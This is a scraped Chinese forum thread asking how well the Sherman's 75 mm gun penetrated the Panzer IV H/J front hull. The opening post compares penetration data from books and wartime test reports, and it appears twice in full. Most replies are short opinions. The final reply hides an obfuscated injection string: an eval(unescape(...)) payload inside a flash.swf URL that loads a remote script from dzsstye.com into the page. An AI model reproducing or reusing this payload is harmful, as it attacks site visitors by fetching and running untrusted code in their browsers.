关于美军M4谢尔曼的M3式75毫米炮对抗德军4号H/J式中型坦 ...

来源:百度文库 编辑:超级军网 时间:2024/04/29 08:19:16
    最近看Steven Zaloga的《Panzer IV vs Sherman France 1944》。这两种坦克的对抗,让我对美军M4谢尔曼的M3式75毫米炮对抗德军4号H/J式中型坦克车体正面装甲的效果产生了一些疑惑——在多远的距离,才能击穿4号H/J的装甲?
    本着有问题先自己尝试解决的原则,我自己先探究了一下。当然,探究的方法可能存在问题,但总比有问题直接伸手要更好。
    参考的材料,包括
    Hunnicutt《Sherman :A History of the American Medium Tank》
    Tom Jentz,Tony Bryan《Panzerkampfwagen IV Ausf.G H J》
    Steven Zaloga《Panzer IV vs Sherman France 1944》
    Lorrin Bird,Robert Livingston 《World War II Ballistics:Armor and Gunnery》
    英文维基百科,以及一些外国军事论坛中,相关爱好者对此问题的讨论等等。

    M4谢尔曼的M3式75毫米炮对抗4号H/J型的炮塔和防盾正面装甲,应该没什么悬念,因为一直是50毫米,在远距离也易于击穿。
    从4号G开始,车体正面装甲变成了80毫米,结构为30毫米表面硬化装甲+50毫米表面硬化装甲。过去,我看到过的说法是两块装甲叠加后的防御效果,是不如单块同等厚度的装甲的。不过,根据《World War II Ballistics:Armor and Gunnery》的说法,如果两块装甲都是表面硬化装甲,那么反而叠加后的防御效果要高于单块同等厚度的装甲。以4号G的30毫米表面硬化装甲+50毫米表面硬化装甲为例,相当于单块84毫米表面硬化装甲的防御能力。
    4号H在1943年6月之前生产的批次,车体正面装甲,与4号G一致。
    1943年6月之后到1945年之前,生产的4号H,前半批次,车体正面装甲为单块80毫米表面硬化装甲。但《World War II Ballistics:Armor and Gunnery》表示,80毫米是理论要求的数值,实际生产出来的,都是85毫米的表面硬化装甲。
    后半批次,车体正面装甲为单块的85毫米滚轧均质装甲。
    4号J型,车体正面装甲为单块的85毫米滚轧均质装甲。

    除了装甲厚度,还需要考虑装甲倾角。考虑到4号H/J车体正面的倾角只有9—10°,接近于垂直,为装甲提供的额外防御能力几乎可以忽略不计,因此在考虑弹甲对抗的问题时,暂且按照垂直状态来算。另外看到过说法,认为装甲倾角,法线角如果小于15°,反而会适得其反,造成防御效果低于装甲的实际厚度。但是,就个人的水平和能力而言,我尚不敢确定这对装甲防御效果产生的不利影响,究竟会达到什么程度。暂且按下不表。

    再看M3式75毫米坦克炮的穿深,其装备的穿甲弹,包括M72式实芯穿甲弹与M61式被帽穿甲弹,实际上也装有风帽。
    接下来我就凌乱了。我查了各种关于其穿深效果的数据资料,而这些数据资料都存在差异——而且有些差异还挺大。
    参考的资料包括:
    Hunnicutt《Sherman :A History of the American Medium Tank》
    《World War II Ballistics:Armor and Gunnery》
    美军FM 6-40号文件,TM9-1907号文件,U.S. Army 1944 Firing Test No.1文件。
    英国陆军WO291/741号文件,WO185/178号文件。

    同样是使用M61式被帽穿甲弹,在500码距离上射击垂直状态的滚轧均质装甲,击穿深度的数据,不同资料来源得到的结果,跨度从76毫米—94毫米都有,大多集中在81毫米—88毫米。射击表面硬化装甲的效果,不同资料的数据跨度也很大,从85毫米—94毫米都有。
    使用M72,射击两种装甲的效果,不同资料之间,也存在数据差异。差异的程度不像M61那么大,500码射击垂直状态的滚轧均质装甲,87毫米—92毫米都有,射击表面硬化装甲,76毫米—80毫米都有。
    对于两个资料之间的数据差异,例如英军与美军试验的差异,《World War II Ballistics:Armor and Gunnery》的解释是使用的炮弹,弹头质量不同。英军使用的更好,美军使用的一般。
    从数据上看,除了WO185/178号文件之外,大部分资料都遵循了M72射击滚轧均质装甲效果更好,M61射击表面硬化装甲效果更好的规律。这个规律在1000码开始改变,M72失速越来越严重,被M61反超。WO185/178号文件中,在任何距离上射击任何装甲,M61的效果都优于M72,与其他资料不同。

    按照以上的材料,对4号H前半批次的射击,用M61效果更好,对4号H后半批次与J型,用M72效果更好。但是,M3式75毫米炮击穿数据的混乱,让我没了主意。
    例如,如果是用M61射击4号H/J车体正面接近垂直的85毫米滚轧均质装甲,按照击穿效果最好的资料算,那么1000码距离上足以击穿。如果按照效果最差的资料算,那么恐怕要抵近到250码左右才能击穿。
    即使是在M61对抗效果更好的表面硬化装甲时,不同的数据能得出的结论,差异也很大。按照85毫米算,数据最可观的,在1000码距离上就能击穿,如果按照80毫米算,那么1300码外也能击穿。按照数据最低的算,要到500码才能击穿。
    不同的资料来源,数据不同,试验存在数据公差,我能理解。但是,如果战场上达到这种效果,我就太难接受了。毕竟,对美军坦克兵来说,一辆德军坦克,在1000码距离上就能击毁,与抵近到250码才能击毁,那效果是天壤之别。

    如果看各种资料对M3式75毫米炮对抗4号H/J车体正面装甲效果的描述,我就更凌乱了。
    《Sherman :A History of the American Medium Tank》的意思是,谢尔曼的75毫米炮足以在任何常规作战距离上击毁4号。
    当然,原文没说4号的具体型号,也没说击中哪个部位。我认为这就是一般性的概述而已,不能具体究到具体型号和具体部位。

    《Panzerkampfwagen IV Ausf.G H J》中表示,4号的80毫米车体正面装甲,足以抵御苏军T-34/76与美军M3式75毫米炮发射的穿甲弹。

    1944年10月5日,德军Wa Prüf 1报告,M4A2的75毫米炮在100米距离上才能击穿4号长75炮型号的车体正面装甲,前提是4号此时以30°面对炮弹来袭方向。

    《Panzer IV vs Sherman France 1944》中表示,1943年7月在西西里战役和1943年9月的萨莱诺战役中,美军坦克兵都发现,德军4号的长管75毫米炮要优于M4的75毫米炮,但没有表示对两种坦克对决的关切,因为4号的炮塔正面,以及炮塔和车体的侧面装甲很薄,容易被击穿。
    这里就排除了4号车体正面装甲也轻易能被击穿。

    书中还引述了二战结束后,英国陆军作战研究大队(AORG)试图推算出坦克对战中的技术效用,使用了理论参数与1944年—1945年战役中的数据。
结论是,在1000码距离对战时,4号H的效用高于75毫米炮M4 10%,低于英国萤火虫10%。这就意味着,在1000码距离对战时,11辆75毫米炮谢尔曼能与10辆4号匹敌。研究发现,在1500码距离对战时,谢尔曼反而更有效,情况完全反转。
    最初,我对这个结论还很疑惑。因为4号长75炮的射程和穿甲能力都高于M3式75毫米炮,怎么可能距离越远,反而4号不占优势了呢?后来分析,应该是因为在1500码距离之外,谢尔曼的75炮仍然可以击穿4号的炮塔正面,但此时4号的长75炮对谢尔曼,能击穿的部位面积很小,对47°车体正面的后期型75炮M4来说,效果尤其如此。但是,我不知道我分析得对不对。

    《World War II Ballistics:Armor and Gunnery》中表示:穿甲弹的被帽对抗表面硬化装甲的效果,可以用4号H驾驶员位置的装甲对抗美军75毫米被帽穿甲弹的效果进行说明。如果4号H驾驶员位置的装甲为滚轧均质装甲,那么85毫米装甲在10°倾斜的情况下,美军谢尔曼的75毫米炮要在150米才能击穿,但使用的是表面硬化装甲,就可以在940米击穿。

    综合以上内容,我得出了这样的结论:
    1、在使用M61时,谢尔曼的75炮足以击穿车体正面装甲使用表面硬化装甲的4号各型号,无论击穿距离是500码,还是1000码。按照西北欧战区的战场环境,这都算是“常规交战距离”。
    2、在使用M61时,谢尔曼的75炮难以击穿车体正面装甲使用滚轧均质装甲的4号H和J,很可能要抵近到100—200米距离才能击穿。当目标与己方呈一定夹角时更是如此。

    不过,这个结论,似乎与以往我看过的材料很不同。1944年诺曼底战役开始后,一直到欧战结束,德军装备的4号似乎应该是使用滚轧均质装甲的越来越多。但是,看各种相关的资料,无论是战史研究者的论述,还是美军坦克兵的回忆,无论使用的是75还是76炮的谢尔曼,都在抱怨如何难以击穿虎和黑豹,从来没有看过4号的装甲多难击穿的时候。

    对于这个疑惑,我也想出了两种解释。
    1、那就只可能是——对使用滚轧均质装甲的4号,打它的炮塔正面。对谢尔曼的75炮来说,即使是远距离,M61也能轻易击穿。
    不过,毕竟车体正面的面积要比炮塔正面面积大不少。如果这个方法能奏效,那是否意味着,美军坦克兵的炮术也太准了点?如果我没记错的话,《Sherman :A History of the American Medium Tank》中倒是有说过,谢尔曼的75炮如何准确如何,足以瞄准敌军坦克上的某个部位开火之类。但是,我尚无法确定,在500—1000码距离上,只瞄准炮塔射击,是容易,还是不容易做到的事。
    同时,如果美军坦克兵真的需要这样才能对付后期的4号,那应该在很多普遍性的读物中都应该能见到才对啊........我却从来没看到过.......

    2、使用M72式实芯穿甲弹。因为其对抗滚轧均质装甲的效果远比M61好。
    但是,对这个结论,我也有疑问。一个是,外国论坛上也有人问,1944年的西北欧战场,美军是否还在使用M72。有说法认为,有了M61后,M72就只在训练中使用了。我在网上搜了一下,在FM 17-12 坦克炮术 文件中,确实有说过M72是训练使用。但是这是个网页版上的文字。我找到了FM 17-12的原文件PDF,上面却没有这句话。我自己写《屠虎驱豹:萤火虫》的下册时,找到新西兰军在意大利打老虎的战史,里面也提到了一口气发射了16发炮弹,其中有2发AP,N发穿甲榴弹,我认为这里的AP肯定是M72,穿甲榴弹就是M61了。不过,我手上确实没有直接证明美军也还在实战中使用M72的确切文字记录。
    另一个疑惑是,如果对抗4号后期型,还需要特意使用M72,那这个问题也应该在很多读物中出现的才对啊........我却从来没看到过.......

    话说是因为我读书少?

    好吧,啰嗦了这么多,总结一下问题。

    1、在实战中,谢尔曼的75炮,对4号H/J的车体正面装甲,考虑表面硬化装甲和滚轧均质装甲的不同型号,具体效果是怎样的呢?如果确实是滚轧均质装甲的型号难以击穿的话,那么为啥没见美军强烈吐槽这个问题呢?
    2、1944—1945年的实战中,美军还在使用M72吗?

    我自己搜索发现,外国的不少军事论坛,也有N多人在讨论谢尔曼75炮对4号后期型车体正面装甲这个问题,吵来吵去,我也没看出来最终结论是什么.......
    以上很多分析和思考,也不知道思路对不对,可能都是闭门造车得出的结论。还望各位前辈和高手批评指正。
    这里先谢谢各位了!    最近看Steven Zaloga的《Panzer IV vs Sherman France 1944》。这两种坦克的对抗,让我对美军M4谢尔曼的M3式75毫米炮对抗德军4号H/J式中型坦克车体正面装甲的效果产生了一些疑惑——在多远的距离,才能击穿4号H/J的装甲?
    本着有问题先自己尝试解决的原则,我自己先探究了一下。当然,探究的方法可能存在问题,但总比有问题直接伸手要更好。
    参考的材料,包括
    Hunnicutt《Sherman :A History of the American Medium Tank》
    Tom Jentz,Tony Bryan《Panzerkampfwagen IV Ausf.G H J》
    Steven Zaloga《Panzer IV vs Sherman France 1944》
    Lorrin Bird,Robert Livingston 《World War II Ballistics:Armor and Gunnery》
    英文维基百科,以及一些外国军事论坛中,相关爱好者对此问题的讨论等等。

    M4谢尔曼的M3式75毫米炮对抗4号H/J型的炮塔和防盾正面装甲,应该没什么悬念,因为一直是50毫米,在远距离也易于击穿。
    从4号G开始,车体正面装甲变成了80毫米,结构为30毫米表面硬化装甲+50毫米表面硬化装甲。过去,我看到过的说法是两块装甲叠加后的防御效果,是不如单块同等厚度的装甲的。不过,根据《World War II Ballistics:Armor and Gunnery》的说法,如果两块装甲都是表面硬化装甲,那么反而叠加后的防御效果要高于单块同等厚度的装甲。以4号G的30毫米表面硬化装甲+50毫米表面硬化装甲为例,相当于单块84毫米表面硬化装甲的防御能力。
    4号H在1943年6月之前生产的批次,车体正面装甲,与4号G一致。
    1943年6月之后到1945年之前,生产的4号H,前半批次,车体正面装甲为单块80毫米表面硬化装甲。但《World War II Ballistics:Armor and Gunnery》表示,80毫米是理论要求的数值,实际生产出来的,都是85毫米的表面硬化装甲。
    后半批次,车体正面装甲为单块的85毫米滚轧均质装甲。
    4号J型,车体正面装甲为单块的85毫米滚轧均质装甲。

    除了装甲厚度,还需要考虑装甲倾角。考虑到4号H/J车体正面的倾角只有9—10°,接近于垂直,为装甲提供的额外防御能力几乎可以忽略不计,因此在考虑弹甲对抗的问题时,暂且按照垂直状态来算。另外看到过说法,认为装甲倾角,法线角如果小于15°,反而会适得其反,造成防御效果低于装甲的实际厚度。但是,就个人的水平和能力而言,我尚不敢确定这对装甲防御效果产生的不利影响,究竟会达到什么程度。暂且按下不表。

    再看M3式75毫米坦克炮的穿深,其装备的穿甲弹,包括M72式实芯穿甲弹与M61式被帽穿甲弹,实际上也装有风帽。
    接下来我就凌乱了。我查了各种关于其穿深效果的数据资料,而这些数据资料都存在差异——而且有些差异还挺大。
    参考的资料包括:
    Hunnicutt《Sherman :A History of the American Medium Tank》
    《World War II Ballistics:Armor and Gunnery》
    美军FM 6-40号文件,TM9-1907号文件,U.S. Army 1944 Firing Test No.1文件。
    英国陆军WO291/741号文件,WO185/178号文件。

    同样是使用M61式被帽穿甲弹,在500码距离上射击垂直状态的滚轧均质装甲,击穿深度的数据,不同资料来源得到的结果,跨度从76毫米—94毫米都有,大多集中在81毫米—88毫米。射击表面硬化装甲的效果,不同资料的数据跨度也很大,从85毫米—94毫米都有。
    使用M72,射击两种装甲的效果,不同资料之间,也存在数据差异。差异的程度不像M61那么大,500码射击垂直状态的滚轧均质装甲,87毫米—92毫米都有,射击表面硬化装甲,76毫米—80毫米都有。
    对于两个资料之间的数据差异,例如英军与美军试验的差异,《World War II Ballistics:Armor and Gunnery》的解释是使用的炮弹,弹头质量不同。英军使用的更好,美军使用的一般。
    从数据上看,除了WO185/178号文件之外,大部分资料都遵循了M72射击滚轧均质装甲效果更好,M61射击表面硬化装甲效果更好的规律。这个规律在1000码开始改变,M72失速越来越严重,被M61反超。WO185/178号文件中,在任何距离上射击任何装甲,M61的效果都优于M72,与其他资料不同。

    按照以上的材料,对4号H前半批次的射击,用M61效果更好,对4号H后半批次与J型,用M72效果更好。但是,M3式75毫米炮击穿数据的混乱,让我没了主意。
    例如,如果是用M61射击4号H/J车体正面接近垂直的85毫米滚轧均质装甲,按照击穿效果最好的资料算,那么1000码距离上足以击穿。如果按照效果最差的资料算,那么恐怕要抵近到250码左右才能击穿。
    即使是在M61对抗效果更好的表面硬化装甲时,不同的数据能得出的结论,差异也很大。按照85毫米算,数据最可观的,在1000码距离上就能击穿,如果按照80毫米算,那么1300码外也能击穿。按照数据最低的算,要到500码才能击穿。
    不同的资料来源,数据不同,试验存在数据公差,我能理解。但是,如果战场上达到这种效果,我就太难接受了。毕竟,对美军坦克兵来说,一辆德军坦克,在1000码距离上就能击毁,与抵近到250码才能击毁,那效果是天壤之别。

    如果看各种资料对M3式75毫米炮对抗4号H/J车体正面装甲效果的描述,我就更凌乱了。
    《Sherman :A History of the American Medium Tank》的意思是,谢尔曼的75毫米炮足以在任何常规作战距离上击毁4号。
    当然,原文没说4号的具体型号,也没说击中哪个部位。我认为这就是一般性的概述而已,不能具体究到具体型号和具体部位。

    《Panzerkampfwagen IV Ausf.G H J》中表示,4号的80毫米车体正面装甲,足以抵御苏军T-34/76与美军M3式75毫米炮发射的穿甲弹。

    1944年10月5日,德军Wa Prüf 1报告,M4A2的75毫米炮在100米距离上才能击穿4号长75炮型号的车体正面装甲,前提是4号此时以30°面对炮弹来袭方向。

    《Panzer IV vs Sherman France 1944》中表示,1943年7月在西西里战役和1943年9月的萨莱诺战役中,美军坦克兵都发现,德军4号的长管75毫米炮要优于M4的75毫米炮,但没有表示对两种坦克对决的关切,因为4号的炮塔正面,以及炮塔和车体的侧面装甲很薄,容易被击穿。
    这里就排除了4号车体正面装甲也轻易能被击穿。

    书中还引述了二战结束后,英国陆军作战研究大队(AORG)试图推算出坦克对战中的技术效用,使用了理论参数与1944年—1945年战役中的数据。
结论是,在1000码距离对战时,4号H的效用高于75毫米炮M4 10%,低于英国萤火虫10%。这就意味着,在1000码距离对战时,11辆75毫米炮谢尔曼能与10辆4号匹敌。研究发现,在1500码距离对战时,谢尔曼反而更有效,情况完全反转。
    最初,我对这个结论还很疑惑。因为4号长75炮的射程和穿甲能力都高于M3式75毫米炮,怎么可能距离越远,反而4号不占优势了呢?后来分析,应该是因为在1500码距离之外,谢尔曼的75炮仍然可以击穿4号的炮塔正面,但此时4号的长75炮对谢尔曼,能击穿的部位面积很小,对47°车体正面的后期型75炮M4来说,效果尤其如此。但是,我不知道我分析得对不对。

    《World War II Ballistics:Armor and Gunnery》中表示:穿甲弹的被帽对抗表面硬化装甲的效果,可以用4号H驾驶员位置的装甲对抗美军75毫米被帽穿甲弹的效果进行说明。如果4号H驾驶员位置的装甲为滚轧均质装甲,那么85毫米装甲在10°倾斜的情况下,美军谢尔曼的75毫米炮要在150米才能击穿,但使用的是表面硬化装甲,就可以在940米击穿。

    综合以上内容,我得出了这样的结论:
    1、在使用M61时,谢尔曼的75炮足以击穿车体正面装甲使用表面硬化装甲的4号各型号,无论击穿距离是500码,还是1000码。按照西北欧战区的战场环境,这都算是“常规交战距离”。
    2、在使用M61时,谢尔曼的75炮难以击穿车体正面装甲使用滚轧均质装甲的4号H和J,很可能要抵近到100—200米距离才能击穿。当目标与己方呈一定夹角时更是如此。

    不过,这个结论,似乎与以往我看过的材料很不同。1944年诺曼底战役开始后,一直到欧战结束,德军装备的4号似乎应该是使用滚轧均质装甲的越来越多。但是,看各种相关的资料,无论是战史研究者的论述,还是美军坦克兵的回忆,无论使用的是75还是76炮的谢尔曼,都在抱怨如何难以击穿虎和黑豹,从来没有看过4号的装甲多难击穿的时候。

    对于这个疑惑,我也想出了两种解释。
    1、那就只可能是——对使用滚轧均质装甲的4号,打它的炮塔正面。对谢尔曼的75炮来说,即使是远距离,M61也能轻易击穿。
    不过,毕竟车体正面的面积要比炮塔正面面积大不少。如果这个方法能奏效,那是否意味着,美军坦克兵的炮术也太准了点?如果我没记错的话,《Sherman :A History of the American Medium Tank》中倒是有说过,谢尔曼的75炮如何准确如何,足以瞄准敌军坦克上的某个部位开火之类。但是,我尚无法确定,在500—1000码距离上,只瞄准炮塔射击,是容易,还是不容易做到的事。
    同时,如果美军坦克兵真的需要这样才能对付后期的4号,那应该在很多普遍性的读物中都应该能见到才对啊........我却从来没看到过.......

    2、使用M72式实芯穿甲弹。因为其对抗滚轧均质装甲的效果远比M61好。
    但是,对这个结论,我也有疑问。一个是,外国论坛上也有人问,1944年的西北欧战场,美军是否还在使用M72。有说法认为,有了M61后,M72就只在训练中使用了。我在网上搜了一下,在FM 17-12 坦克炮术 文件中,确实有说过M72是训练使用。但是这是个网页版上的文字。我找到了FM 17-12的原文件PDF,上面却没有这句话。我自己写《屠虎驱豹:萤火虫》的下册时,找到新西兰军在意大利打老虎的战史,里面也提到了一口气发射了16发炮弹,其中有2发AP,N发穿甲榴弹,我认为这里的AP肯定是M72,穿甲榴弹就是M61了。不过,我手上确实没有直接证明美军也还在实战中使用M72的确切文字记录。
    另一个疑惑是,如果对抗4号后期型,还需要特意使用M72,那这个问题也应该在很多读物中出现的才对啊........我却从来没看到过.......

    话说是因为我读书少?

    好吧,啰嗦了这么多,总结一下问题。

    1、在实战中,谢尔曼的75炮,对4号H/J的车体正面装甲,考虑表面硬化装甲和滚轧均质装甲的不同型号,具体效果是怎样的呢?如果确实是滚轧均质装甲的型号难以击穿的话,那么为啥没见美军强烈吐槽这个问题呢?
    2、1944—1945年的实战中,美军还在使用M72吗?

    我自己搜索发现,外国的不少军事论坛,也有N多人在讨论谢尔曼75炮对4号后期型车体正面装甲这个问题,吵来吵去,我也没看出来最终结论是什么.......
    以上很多分析和思考,也不知道思路对不对,可能都是闭门造车得出的结论。还望各位前辈和高手批评指正。
    这里先谢谢各位了!
i细皮嫩肉红胡子从来不靠装甲,只靠良好的机动,勉强的火力,和高素质的装甲兵。
75短炮对付四号没啥用的~必须76长炮才可以~
M4的75炮可以有效对付德国的4号坦克
75对付比较难是德国的重型坦克如虎、虎王、豹式的正面装甲等 但对付其他德国车没啥大问题
二战 坦克交战距离主要是500~800米 太远的距离穿甲能力意义不大

同时 要注意M4的生产速度是二战中最快的 甚至生产的比T 34都快
(一是M4容易生产 二是美国的流水线生产方式)  一般情况下m4有数量优势
水一下不要钱吧?http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'